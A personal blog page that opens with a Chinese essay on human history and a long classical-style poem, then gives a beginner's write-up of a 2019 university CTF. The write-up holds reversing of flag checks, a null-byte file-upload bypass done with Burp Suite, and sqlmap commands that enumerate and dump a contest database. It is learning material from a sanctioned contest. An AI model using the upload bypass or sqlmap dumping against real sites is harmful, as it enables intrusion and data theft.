  绚烂瑰丽的霓虹灯交错叠构,渐渐组合成了一个迷乱眼目的多彩世界。一栋栋高楼鳞次栉比,拥抱天际的繁星。车辆的灯光在霓虹的世界里飞快流淌,汇成不息的河流。不远处的江面波光粼粼,轻轻地承载着繁华。远来的船舶穿过缀满灯火的大桥,汽笛一声长鸣,烟花与之共舞。

  发丝在晚风中沉沦,思绪便随之飘远。

  每一个繁华的城市,都曾是孤寂的荒野。七万年前的今天,就在我所驻留的地方,他,一种也没什么特别的动物,抬起与现代人相似的面孔,仰望浩瀚的星空。万籁俱寂,星光璀璨。柔和的星光倾泻在他粗糙的脸颊上,整个星空便蕴含在他小小的瞳孔中。

然后,他开始行走。从非洲走到欧洲,走到亚洲,再走到大洋洲和美洲。在漫长的岁月里,他学会了用火、用工具,学会了猎杀大型动物,学会了耕种与养殖。他开始认识这个世界,并利用这个世界的一切来发展自我。由动物到部落再到国度,最终他站在了这个星球的顶端。

  但他并不满足于现状,因为,他想超越自然。思想与科学随之诞生。

从孔子到苏格拉底,从墨子到亚里士多德,虽然中国智者的眼光放在了脚下,而西方科学家的眼光望到了天空,但却殊途同归地象征着人类开始思考自然的本源以及宇宙的目的。

  转眼千年。在中世纪封建宗教的残酷压迫下,哥白尼的《天体运行论》、维萨留斯的《人体构造》、哈维的《心血运动论》的面世以及伽利略落体、抛物体和振摆三大定律的发现,拉开了近代科学的序幕。紧随其后的牛顿力学的建立,以及机械自然观和实验数学方法论的形成标志着近代自然科学的诞生。在接下来的二百年中,人类对自然的认知不断加深,逐渐形成了由力学、电磁学、热学、光学、声学构建经典物理学的大厦。无数辉煌的成就似乎象征着人类已经掌握了世界的奥秘,站在了自然的巅峰。基尔霍夫踌躇满志地说:“物理学的未来,将只有在小数点第六位后面去寻找。”

  然而,随即而来的两朵乌云动摇了经典物理学大厦。但是,没过多久,相对论和量子力学相继诞生,这标志着现代物理学的两块基石已经奠定。人类在探索未知的科学的道路上又迈出了坚实的一大步。

  人类并不只关注于奥秘本身,更在意借助科学发现和发明,掌握自然规律,从而发展自我。从核裂变现象到原子弹,从DNA的表达机理到基因工程,从万有引力定律到人造卫星,从TCP/IP体系结构到互联网……对自然的思考使得人类创造出本不属于自己的力量,进而推动自身的进化与历史的前进。

  很难想象是吧?人类的祖先从诞生至今不超过几百万年时光,开始认知革命的“现代人类”也不过是七万前年的一种普通生物。但是,正是在这短短几万年的时间内,人类完成了地球四十多亿年未曾有过的蜕变。

我们脚下的每一寸土地,都曾是荒野。但是在人类的历史长河中,一所所房屋被建设,转眼又被高楼大厦所淹没。最终,人类在荒野之中建立了恢宏的城市,将曾经全部深埋地下。

  而这一切,都是从人类仰望星空那天开始。

  辽阔的星空告诉我们的,不只有璀璨的繁星,更有自然的奥秘。当一个种群开始意识到宇宙的浩瀚,深感自身的渺小时,文明就此开始。人类正是在发现未知,探索未知,征服未知的道路上不断前行。在这条路上,人类不断的丰富自己的对这个世界的认知。而科学的意义就在于承认自身的无知。

  人类的历史就是追求真理的旅行。由现象到假设到理论再到理论的推翻抑或是修正,科学似乎总是从正确走向错误,但却无法阻挡人类的脚步。曾经是这样,未来也会是这样。

  我们已经站在了地球的巅峰,然而天空的外面还有星空。地球之于宇宙,不过沧海之一粟。人类不过是地球的主宰,而茫茫的宇宙仍等待着我们去探索。不出意外的话,旅行者1号和2号将一直在黑暗的宇宙中孤独地旅行。或许有一天,我们会追上它俩的脚步,向着广阔的星空说,“我们的征途是星辰大海!”

  毕竟,由星空开始的故事,就要用星空来结束。

  虽然,星空永无止境……

  十三年春,余过金陵故人,遍历六朝故地。会分上元之节候,辄自旅秦淮两岸。是夜,彩烛霓虹相与辉映,宫灯长明。其往来而游者,络绎不绝,相乱声光。蓦然以顾,则有佳人行于途。倏尔怦然心动,而其神也不可述矣。

  恍惚兮众人过而匿其影,促而再顾,而终不可复得其形。怅然自失,独倚阑珊台榭,遥望长夜,窅冥依稀古楼,不觉兴尽而悲来。曩者烟雨画舫,雕栏碧柳,今全不复见矣。忆昔香君貌若天成,采江南之灵秀,而今安在哉?

  却言此地明月依旧,秦淮水东流,泄尽繁花,谁堪少年游?

  须臾兮三秋已逝,得故人再邀,浮忆昔年故事,感慨不已。伊昔月下佳人,其影朦胧,不可复识也。然其予吾之心犹存,虽蹉跎已矣兮。

  是夜大醉,游梦万千,泪染孤枕。且闻南柯之一梦,如是君知:

火树银花合楚天,月出秦淮尽上元。
江楼画舫兰泽碧,九衢彩烛鱼龙怜。
羞颜黛眉浅回首,转眄流精蘅幽鸾。
一袭抹绿留仙裙,四合如意芙蕖绢。
云鬓花颜金步摇,五凤朝阳桂珠簪。
青丝红姻挽流苏,明眸皓齿秾翠钿。
螓首蛾眉凝脂肤,朱唇皓齿柔荑缎。
仙袂乍飘百花夭,回眸一笑绕眉梢。
冰清玉润轻风袅,万家英豪竞折腰。
延步邀裙衩,裙衩美如画。
问女何所至,问女何所发。
长安红楼桃李花,隔江玉笛对晚霞。
娼家有女初长成,清歌一啭惊鸂画。
碧玉罗绮度幰蹊,京畿古道踏青马。
朱门绣户紫虬绕,双阙碧树向侯家。
膏梁纨袴锦罗绸,村夫野老尘土褂。
城南荆杞日瘦沙,城北嫠妇卧路寡。
东风不识鹧鸪泪,绿杨楼外犹琵琶。
君不见,烟柳迷津榻,几时有寒鸦?
不堪此中玉树老,孤蓬莫辞且天涯。
爆竹晓高台,星陨碧落开。
月涌莲蘂地,莫若玉人钗。
再拜为卿言,小可亦旅哉。
愿为游侠客,朝暮醉四海。
共潇湘,过维扬。
徙云中,渡高唐。
笑靥如花,陌上新桑。
步步生莲,红袖荷香。
别兮黛云香,佳人下罗堂。
黄鹂啼桃雨,桃落白衣裳。
风煦抚青丝,楚楚别萧郎。
一步一回头,愿君莫相忘。
还君双垂泪,钟期三年往。
凝眸风华影,飔飏人断肠。
鲜衣怒马入长安,皇榜题名金銮殿。
少年凌霄踏青云,白马银鞍阊阖雁。
神皇重色思倾国,偏恋丽妃惊鸿面。
伊昔红颜真可欢,宝马连钱比目羡。
君不闻,
丽妃青黛浅,人娇胜花艳。
纵身掌上舞,古时赵飞燕。
君不问,
纸醉金迷绮梦眠,几家欢喜几家怨?
金阶门前不容萧,何来光景何来谏?
草长莺飞际,妍姝与会时。
碧骢饰堇紫,横行渡兰溪。
蜨浮䴔䴖起,桃袭莺声急。
日日卿不至,落红碾尘泥。
安有双飞翼?马嘶秋风凄。
蒹葭苍苍,佳人何方?
荒草没枯塘,悲怆鬓如霜。
一时乱军烟尘生,千乘万骑避难行。
六军不前达天听,戕除丽妃祸自平。
君王岂敢逆三公,鸩羽蟜巵萧郎送。
丽妃拂红裙,花艳惊上春。
凭阑垂翠帐,廷前紫雾氤。
萧郎盏琉瓈,呒然乱愁心。
所谓丽妃者,竟是上元人!
上元人,上元人,桃下之约何为沉?
妾自别君郎,情难归故巷。
微服逢帝王,栖雀不相让。
檀奁交窗镜,十里易红妆。
淡粉敷罗面,对镜贴花黄。
梨花一枝春带雨,无语凝噎泪千行。
此入幽宫深似海,不识萧郎是萧郎。
再得逢君颜,死生何足宽?
夺我手中樽,痛饮曙灭干。
花钿委弃地,佳人散云鬟。
红裙葬花痴,花痴有谁怜?
君不见,古来风流子,几家故人还?
君不见,我不见,我自长啸向天叹!
忆昔共游年,倾世几荣欢。
蛾儿黛眉浅,清水并幽莲。
素手把桃扇,云鬓插杏簪。
而今桃花散,金钗雪下眠。
至今犹忆上元夜,三千风漪丝弦裂。
此时寂寞弃愁诀,笙歌枉凝妒相略。
黄泉碧落与君别,别时长醉辞天谢。
仰天大笑出门去,枯心成草泪成雪。
天也妒,风雨怵,尔时山河决倾入。
君不见,长城万里紫阙无,三十六宫俱焦土。
君不见,沙汀孤鹜破巢狐,血染残阳薄日暮。
烽火处,冲冠怒,尔时雷霆收震覆。
君不见,昔时青莲缦缨葫,纵剑横膝杀十步。
君不见,醉挑万里青海骨,绝袖却袂弃旧主。
长安一夜北风乱秋雁,吹皱白头度玉关。
满川易水寒,遐躅雪漫漫,孤影凄寒蝉。
一声苦,谁与诉,四万万人同一哭。
湛卢,湛卢,专诸鱼腹荆轲图。
径须平我衣冠楚,把剑临歌对君舞。
雷电共作扬剑魄,风雨不动红烛错。
君王侧,君王吓(音贺),君王御下三千客。
三千铁骑传金柝,风萧萧兮秋瑟瑟。
醉生梦死可奈何?裂臂膑足无颜色。
雪尺素,血如注,胯下之奴笑君主。
任尔齐天朽,可得长生否?
君不见,贞观裘,
赫斩春风笑夷丘,如今坟头草丈九。
君不见,建隆篌,
纵横云雨束吴钩,飘零秋月对空楼。
昔时王侯尽贼寇,但闻司马安曹刘?
何时阑珊楚堂榭,倾城舞袖金丝裘。
唱一宿,舞一宿,独不见千年古槐百年柳。
哈哈哈,罢罢罢,君樽只知夜郎下!
何时血浪起悲歌,不觉双泪堕清波……

初稿2017.03.12
再稿2017.03.26
三稿2017.04.02
四稿2017.04.16
终稿2017.05.13

*狗儿 于高密 *

前作:书生行并序

高中时的拙作,没系统学过诗词,写得蛮烂的,大佬们笑笑就好

本次比赛时间大概为2019年1月末,当时留校参加ACM的集训,后面几天由于太难听不进去,恰逢此次比赛,于是第一次参加CTF。

第一次做出ctf题,虽然很简单,但我好高兴

(原来只想到拼了命也要做出一道题来,没想到一做做了这么多)

第一道▼逆向签到

下载文件,打开IDA64,把文件脱进来,F5将汇编翻译成c语言

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rbx
int v5; // [rsp+0h] [rbp-C0h]
int v6; // [rsp+4h] [rbp-BCh]
int v7; // [rsp+8h] [rbp-B8h]
int v8; // [rsp+Ch] [rbp-B4h]
int v9; // [rsp+10h] [rbp-B0h]
int v10; // [rsp+14h] [rbp-ACh]
int v11; // [rsp+18h] [rbp-A8h]
int v12; // [rsp+1Ch] [rbp-A4h]
int v13; // [rsp+20h] [rbp-A0h]
int v14; // [rsp+24h] [rbp-9Ch]
int v15; // [rsp+28h] [rbp-98h]
int v16; // [rsp+2Ch] [rbp-94h]
int v17; // [rsp+30h] [rbp-90h]
int v18; // [rsp+34h] [rbp-8Ch]
int v19; // [rsp+38h] [rbp-88h]
int v20; // [rsp+3Ch] [rbp-84h]
int v21; // [rsp+40h] [rbp-80h]
int v22; // [rsp+44h] [rbp-7Ch]
int v23; // [rsp+48h] [rbp-78h]
int v24; // [rsp+4Ch] [rbp-74h]
int v25; // [rsp+50h] [rbp-70h]
int v26; // [rsp+54h] [rbp-6Ch]
int v27; // [rsp+58h] [rbp-68h]
int v28; // [rsp+5Ch] [rbp-64h]
int v29; // [rsp+60h] [rbp-60h]
int v30; // [rsp+64h] [rbp-5Ch]
int v31; // [rsp+68h] [rbp-58h]
int v32; // [rsp+6Ch] [rbp-54h]
int v33; // [rsp+70h] [rbp-50h]
char s[40]; // [rsp+80h] [rbp-40h]
int v35; // [rsp+A8h] [rbp-18h]
int i; // [rsp+ACh] [rbp-14h]

puts("* please input flag: ");
__isoc99_scanf("%s", s);
if ( strlen(s) == 29 )
{
v35 = rand() % 100;
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(s) )
break;
s[i] ^= v35;
}
v5 = 53;
v6 = 63;
v7 = 50;
v8 = 52;
v9 = 40;
v10 = 1;
v11 = 50;
v12 = 61;
v13 = 55;
v14 = 99;
v15 = 62;
v16 = 118;
v17 = 98;
v18 = 60;
v19 = 60;
v20 = 12;
v21 = 106;
v22 = 58;
v23 = 37;
v24 = 54;
v25 = 12;
v26 = 38;
v27 = 12;
v28 = 102;
v29 = 48;
v30 = 60;
v31 = 33;
v32 = 54;
v33 = 46;
if ( (unsigned int)Check((__int64)s, (__int64)&v5) == 1 )
puts("* CCCCCCCCCCCongratulation!!!!");
else
puts("* try it again");
result = 0;
}
else
{
puts("* try it again");
result = 0;
}
return result;
}

check函数:

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall Check(__int64 a1, __int64 a2)
{
signed int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i <= 28; ++i )
{
if ( *(char *)(i + a1) != *(_DWORD *)(4LL * i + a2) )
return 0LL;
}
return 1LL;
}

主函数中下图所示的代码块将输入的字符串逐个字符地与随机数(0~99)进行异或

(若a^b=c,则a=b^c,按此原理可写脚本)

img

check函数将经过异或处理后的数据和主函数中存储的v5~v33作比较,相同则返回真

第一次接触逆向的题,我没想明白随机数每次都变,怎么保证输入的字符串是正确答案?

后来无意中暴力了一下,得到了100个不同的字符串,这才想明白,有100个字符串是正确答案,一个随机数对应一个,也就是说,当flag的字符串对应的随机数并没有随机到的时候,这是输入flag后也会显示* try it again

我写的暴力脚本:

(python还在学,不熟练,先用c++)

(c++是世界上最好的语言,233)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<iostream>
#include<cstdlib>
#include<ctime>
using namespace std;
int main()
{
srand(time(0));//不写这个的话,随机数并不随机
int v[29]={53,63,50,52,40,1,50,61,55,99,62,118,98,60,60,12,106,58,37,54,12,38,12,102,48,60,33,54,46};
int v35=rand()%100;
for (int i=0;i<=99;i++)
{
v35=i;
cout<<v35<<endl;
for (int i=0;i<=28;i++)
cout<<(char(v35^v[i]));
cout<<endl;
}
return 0;
}

结果

img

第二道▼base全家桶了解一下??

base64解码为base32再解码到base16再解码到明文

密文:R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU=

64转32:

GY3DMQZWGE3DON2CGU3TMNJWIM3DGMZQGZCDMNJVIY3TIMZQGMYDKRRWGM3TKNSEG42DMMZXGQ3DMN2E

32转16

666C61677B57656C63306D655F7430305F63756D746374667D

16解码:

flag{Welc0me_t00_cumtctf}

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案

Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码

第三道▼现代密码签到

两次DES解码

密文:

U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=

第一次解码:

U2FsdGVkX18968C+7acWUzWtYyuQd2MFLMh0HnGGnMlmYlemknPnfg==

第二次解码:

cumtctf{double_D3s_HHH}

img

img

第四道▼Misc签到

对照盲文翻译即可,翻译为BAIND,根据提示,改为B1IND,正好和BLIND(盲的)相似

img

img

第五道▼Easy_Math

用IDA64打开

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [rsp+0h] [rbp-160h]
int v5; // [rsp+100h] [rbp-60h]
int v6; // [rsp+104h] [rbp-5Ch]
int v7; // [rsp+108h] [rbp-58h]
int v8; // [rsp+10Ch] [rbp-54h]
int v9; // [rsp+110h] [rbp-50h]
int v10; // [rsp+114h] [rbp-4Ch]
int v11; // [rsp+118h] [rbp-48h]
int v12; // [rsp+11Ch] [rbp-44h]
int v13; // [rsp+120h] [rbp-40h]
__int64 v14; // [rsp+130h] [rbp-30h]
__int64 v15; // [rsp+138h] [rbp-28h]
__int64 v16; // [rsp+140h] [rbp-20h]
__int64 v17; // [rsp+148h] [rbp-18h]
int v18; // [rsp+150h] [rbp-10h]
char s[8]; // [rsp+157h] [rbp-9h]
char v20; // [rsp+15Fh] [rbp-1h]

*(_QWORD *)s = 0LL;
v20 = 0;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0;
v5 = 1;
v6 = 2;
v7 = 1;
v8 = 2;
v9 = 1;
v10 = 1;
v11 = 1;
v12 = 1;
v13 = 2;
memset(&v4, 0, 0x100uLL);
puts("* please input flag: ");
__isoc99_scanf("%s", s);
if ( strlen(s) == 9 )
{
String2Int(s, (__int64)&v14);
Change((__int64)&v14, (__int64)&v5, (__int64)&v4);
if ( (unsigned int)Check((__int64)&v4) == 1 )
puts("CCCCCCCCCCCongratulation!!!!");
else
puts("try it again");
result = 0;
}
else
{
puts("* try it again");
result = 0;
}
return result;
}

String2Int函数:

作用很简单,把输入的字符串的每一个字符都分别赋值给从v14开始的9个变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
size_t __fastcall String2Int(const char *a1, __int64 a2)
{
size_t result; // rax
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; ; ++i )
{
result = strlen(a1);
if ( i >= result )
break;
*(_DWORD *)(4LL * i + a2) = a1[i];
}
return result;
}

change函数:(就你这破函数事儿多,变啥变啊,看了我好几个小时)

这个太难看了,萌新不会写算法,所以就手动模拟了(模拟图见本题最后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
_DWORD *__fastcall Change(__int64 a1, __int64 a2, __int64 a3)
{
_DWORD *result; // rax
signed int m; // [rsp+24h] [rbp-14h]
signed int l; // [rsp+28h] [rbp-10h]
signed int k; // [rsp+2Ch] [rbp-Ch]
signed int j; // [rsp+30h] [rbp-8h]
signed int i; // [rsp+34h] [rbp-4h]

for ( i = 0; i <= 2; ++i )
{
for ( j = 0; j <= 2; ++j )
{
result = (_DWORD *)(4 * (3 * i + (signed __int64)j) + a3);
*result = 0;
}
}
for ( k = 0; k <= 2; ++k )
{
for ( l = 0; l <= 2; ++l )
{
for ( m = 0; m <= 2; ++m )
{
result = (_DWORD *)(4 * (3 * k + (signed __int64)l) + a3);
*result += *(_DWORD *)(4 * (3 * m + (signed __int64)l) + a2) * *(_DWORD *)(4 * (3 * k + (signed __int64)m) + a1);
}
}
}
return result;
}

Check函数:

经过change变换后的字符与check内的局部变量v2~v10相比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
signed __int64 __fastcall Check(__int64 a1)
{
int v2; // [rsp+8h] [rbp-30h]
int v3; // [rsp+Ch] [rbp-2Ch]
int v4; // [rsp+10h] [rbp-28h]
int v5; // [rsp+14h] [rbp-24h]
int v6; // [rsp+18h] [rbp-20h]
int v7; // [rsp+1Ch] [rbp-1Ch]
int v8; // [rsp+20h] [rbp-18h]
int v9; // [rsp+24h] [rbp-14h]
int v10; // [rsp+28h] [rbp-10h]
int i; // [rsp+34h] [rbp-4h]

v2 = 274;
v3 = 294;
v4 = 316;
v5 = 262;
v6 = 274;
v7 = 252;
v8 = 380;
v9 = 421;
v10 = 427;
for ( i = 0; i <= 8; ++i )
{
if ( *(_DWORD *)(4LL * i + a1) != *(&v2 + i) )
return 0LL;
}
return 1LL;
}

手动模拟,解出方程,转换成char类型的,得到flag

img

img

第六道▼BXS图标真好看

(这是我们队(c家家)的第七道,我队第六道是张龙做的web)

后缀改为png,得到密文fgookwnl{_un_gaDy_0p},刚开始以为fgookwnl对应flag,两个字母对应一个字母,后来无意中发现flag中的f到l和l到a都相隔7位,就以为所有的都是往后找7个数,但到了flag中的g时,发现从a到g相隔7位(不算已经取出的f),但从g到{才隔着6位(除非算上取出的l才相隔7位),然后就以为前3此移位是7位,后面的移位都是6位,但这样取,}居然提前取出来了。然后他突然灵机一动,共21个字符,7移动了3次,然后移动6,3*7=21,即7三次,6三次,一直到1三次(虽然最后发现1只有两次,因为21个字符有20个间隔)

img

第七道▼古典密码签到

先base32,根据提示得到^pho^oavtZnj
tZZZcccx

一点基础也没有,根本无从下手,中间想试试移位,但死活和flag对不上(忘了还有cumtctf这个格式)。最后想试试凯撒,但凯撒只能搞纯字母,过了一会,突然想到,可能是凯撒的思想,不一定在26个字符中移位,也可能在Z(ascll最小,为90)和x(ascll最大,为120)间移位。编了个程序,虽然最后发现有点小错误,但还是发现出现了cumtctf的字样,于是肯定思路没错,找错误吧。错误还没找到的,先发现了其实就是向后移动5位。。。重新编了个往后移5位的程序,答案就跑出来了

img

进前十啦

img

img

web的签到题是张龙做的哦

第八道▼起床改error啦!

解压,得到一张图片

img

按照提示,图文无关,拖进C32Asm

文件末尾出现了flag.doc的字样,怀疑是两个文件结合而来

img

打开kali,将图片拖进虚拟机ctf文件夹

img

将新生成的flag.doc拖回win10,居然打不开

img

这时发现之前用binwalk时出现的Zip archive data这句话,百度一下,原来是种压缩方式

img

unzip解压这个doc

img

拖回win10,打开

img

那就接着找吧。点击文件再点击选项

img

然后点击显示,勾上隐藏文字

img

答案就出来了

img

第九道▼矿大校歌认真听听吧?

一个带密码的压缩包,尝试1~6位数字暴力破解密码,没出来,拖进winhex(或C32Asm),最后一行写着cumtctf2019,猜测就是密码,果然。

img

里面只有一个cumt.mp3,是矿大校歌。打开听了,正常的校歌。

拖进audacity(在这个软件上耗费了我三个小时以上的时间,没想到这道题用不到这个软件)

img

img

频谱图也看不出来flag(最初怀疑过紫线和白线,放大后一点一点找,耗费了好几个小时,也听了好几个小时的校歌)

img

关闭,打开kali,用binwalk分析

结果并不是多个文件的结合

img

回到win10,用MP3Stego试一下

双击MP3Stego目录下的mp3.bat(该文件作用是在cmd中进入MP3Stego目录),键入

decode -X -P cumtctf cumt.mp3

-X是文件名

-P是密码

(至于为啥后面的参数的顺序是反着的我也不清楚)

img

生成了两个文件

img

打开cumt.mp3.txt,得到flag{cumtctf_1s_v3ry_g00d!}

(最初不知道密码,猜了个题目名,即cmut,结果提示错误,没想到cumtctf2019既是压缩包密码,又是MP3隐写的密码)

img

第十题▼SimpleUpload签到

img

只能上传图片,但要求是上传.php

使用burpsuite抓包再修改数据上传https://www.sohu.com/a/236194259_658302

安装了jdk后,我仍然无法打开burpsuite.jar,所以我将burpsuite.jar放入

img

打开cmd,键入java -jar burpsuite.jar,通过这样打开burpsuite,但弊端是每次都要输入一次,而且使用burpsuite过程中不能关闭输入命令的那个cmd窗口,否则burpsuite也会关闭。

img

img

依次点close(不更新),next,然后点start burp

img

打开360极速浏览器(chrome我还不会设置代理服务器),搜索“代理”

img

点击代理服务器设置

img

在代理服务器列表中添加127.0.0.1:8080

img

点击代理服务器,勾选127.0.0.1:8080

浏览器地址栏键入题目网址,发现打不开,那就先把上图的不使用代理服务器勾选,打开网页后再勾选127.0.0.1:8080

再桌面新建一个空白文件,文件名为1.php .png

注意php和.png之间有一个空格。

打开burpsuite,开启抓包(Intercept is on)

img

这时上传1.php .png

抓到包

img

点击Proxy中的Intercept中的Hex

img

找到1.php .png所在的一行

img

将20改为00(空格的hex是20)

img

原理是:提交的是.png,但服务器端读到00后就截断了,所以服务器端认为是.php

点击Forward,上传修改后的包

img

得到flag

img

(做出来后没几分钟,张龙告诉我他也做出来了,好像他是直接F12查看的代码,假期结束后再问问他)

(之前他说这道题有头绪了,我以为这100分到手了,没想到两天了他还不提交flag,我以为他懒得不做了,气的我现学了好几个小时,才搞到flag。不靠谱的男人(。・∀・)ノ)

第十一题▼

参考了这个的第一题https://www.cnblogs.com/baifan2618/p/7762666.html

题目网址http://bxs.cumt.edu.cn:30007/test/index.php

(sqlmap的各种参数详见另一篇笔记)

打开kali的终端,键入

sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –dbs

结果如下图

img

得到可访问数据库

img

猜测flag在security中

sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –tables -D security

img

上下两图无缝衔接(太长了,截不到一起)

img

看到flagishere就知道稳了

sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –columns -T flagishere -D security

img

img

我这个萌新还以为flag就是non-numeric呢,还以为要在网址后面加?id=numeric

都错了。接着键入

sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 –dump -C flag -T flagishere -D security

img

img

得到flag

最终成绩

img

img